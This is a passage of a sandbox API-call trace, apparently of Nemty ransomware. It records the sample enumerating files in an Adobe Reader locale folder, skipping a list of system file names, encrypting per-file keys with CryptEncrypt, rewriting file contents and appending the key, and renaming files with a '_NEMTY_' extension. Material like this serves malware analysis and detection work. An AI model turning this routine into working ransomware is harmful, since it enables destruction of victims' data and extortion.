lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0177.982] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.982] CloseHandle (hObject=0x2e8) returned 1 [0177.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.983] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DVA.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\dva.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DVA.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\dva.hun._nemty_kgobjgd_")) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.983] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.HUN", cAlternateFileName="")) returned 1 [0177.983] lstrcmpiW (lpString1="eBook.HUN", lpString2=".") returned 1 [0177.983] lstrcmpiW (lpString1="eBook.HUN", lpString2="..") returned 1 [0177.983] lstrcmpiW (lpString1="eBook.HUN", lpString2="...") returned 1 [0177.983] lstrcmpiW (lpString1="eBook.HUN", lpString2="windows") returned -1 [0177.983] lstrcmpiW (lpString1="eBook.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.983] lstrcmpiW (lpString1="eBook.HUN", lpString2="rsa") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="NTDETECT.COM") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="ntldr") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="MSDOS.SYS") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="IO.SYS") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="boot.ini") returned 1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="boot.ini") returned 1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="ntuser.dat") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="desktop.ini") returned 1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="CONFIG.SYS") returned 1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="RECYCLER") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="BOOTSECT.BAK") returned 1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="bootmgr") returned 1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="programdata") returned -1 [0177.984] lstrcmpiW (lpString1="eBook.HUN", lpString2="appdata") returned 1 [0177.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HUN", lpUsedDefaultChar=0x0) returned 9 [0177.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HUN", lpUsedDefaultChar=0x0) returned 9 [0177.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HUN", lpUsedDefaultChar=0x0) returned 9 [0177.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HUN", lpUsedDefaultChar=0x0) returned 9 [0177.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.985] Sleep (dwMilliseconds=0x5) [0177.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dbd4d70, dwHighDateTime=0x1d561e8)) [0177.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dbd4d70, dwHighDateTime=0x1d561e8)) [0177.994] GetLastError () returned 0x0 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.994] GetLastError () returned 0x0 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.994] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.994] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.994] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.994] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="p5Q3iiM5+6D6EuTp8yGfwvw1MKkkpifrSFmUtJ2zl6MtwIlt3O7351S9uXrvYbv7\r\nfjOYPQF1OybUTQKHi3LiqA8cumU7vlOmuLFuQCEeQtWf8QlUYNnTAMTZs49WMzBX\r\nsIMGxLeoiGXgvhVfSN/8WlZKutKRMunMKpanOcHbMW6DrK0/avl8JmtdIvpERvZm\r\nqkHktFXCYta9ihRBK5lJ8YZ2Rjy5cAqmmRY3h2XJTsSNUNhbRo80xjAZHt9WbUzh\r\nAnTtuw9Hcc2xz4VE9cN3s/a8gTEuo096WJu5PvMMZSo4QLnxuqmanw0+CGobhbzK\r\nUj62zz5WtXBZOb2W/fQyrw==\r\n", pcchString=0x653e5dc) returned 1 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\eBook.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ebook.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.995] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0177.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0177.995] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.995] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0177.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0177.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0177.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.997] CloseHandle (hObject=0x2e8) returned 1 [0177.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.998] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\eBook.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ebook.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\eBook.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ebook.hun._nemty_kgobjgd_")) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.998] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.HUN", cAlternateFileName="")) returned 1 [0177.998] lstrcmpiW (lpString1="EScript.HUN", lpString2=".") returned 1 [0177.998] lstrcmpiW (lpString1="EScript.HUN", lpString2="..") returned 1 [0177.998] lstrcmpiW (lpString1="EScript.HUN", lpString2="...") returned 1 [0177.998] lstrcmpiW (lpString1="EScript.HUN", lpString2="windows") returned -1 [0177.998] lstrcmpiW (lpString1="EScript.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.998] lstrcmpiW (lpString1="EScript.HUN", lpString2="rsa") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="NTDETECT.COM") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="ntldr") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="MSDOS.SYS") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="IO.SYS") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="boot.ini") returned 1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="boot.ini") returned 1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="ntuser.dat") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="desktop.ini") returned 1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="CONFIG.SYS") returned 1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="RECYCLER") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="BOOTSECT.BAK") returned 1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="bootmgr") returned 1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="programdata") returned -1 [0177.999] lstrcmpiW (lpString1="EScript.HUN", lpString2="appdata") returned 1 [0177.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HUN", lpUsedDefaultChar=0x0) returned 11 [0177.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HUN", lpUsedDefaultChar=0x0) returned 11 [0177.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HUN", lpUsedDefaultChar=0x0) returned 11 [0177.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HUN", lpUsedDefaultChar=0x0) returned 11 [0177.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.000] Sleep (dwMilliseconds=0x5) [0178.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dbfaed0, dwHighDateTime=0x1d561e8)) [0178.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dbfaed0, dwHighDateTime=0x1d561e8)) [0178.009] GetLastError () returned 0x0 [0178.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.009] GetLastError () returned 0x0 [0178.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.010] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.010] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0h6olMvUq6/N3eYwCwFHOE2yPVAUA2ZnvKnehhw61UiNxZpCBnRb76xxVsdTlgcP\r\nue6JjENH9Sp8evRdDZMINq6v5k06+sJXqZ/qnZNLkSC40toaiDQY1DmLIxbqRB3I\r\nVvELQbmU0SFcveP8MpW7qrxBTGOrtCH7MepFS0cRHBa0baICdSFbs3R+4y+ZXF4Y\r\n5BRT2+HuD5COsGSUm+HDZx86/yIQA1OGzLmw9s40B6TH9dagbkNZN7JguCxhPmPD\r\nstiM2r8bXPhIsDzeEC7WgIHYL11RYKiUoFQr2zb5u8fxF93wIAFylBp/MSx6/WDd\r\n41HNlvkGYKtmjDt+gjgZEg==\r\n", pcchString=0x653e5dc) returned 1 [0178.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\EScript.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\escript.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.010] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41472) returned 1 [0178.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa200) returned 0x6352c48 [0178.010] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.010] ReadFile (in: hFile=0x2e8, 